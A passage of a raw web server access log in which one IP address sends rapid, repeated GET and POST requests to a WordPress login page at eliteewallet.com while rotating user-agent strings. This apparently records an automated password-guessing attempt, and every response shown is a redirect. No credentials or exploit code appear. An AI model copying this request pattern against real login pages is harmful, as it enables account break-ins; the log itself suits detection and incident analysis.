"http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:28 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:38 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:39 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:40 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:44 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 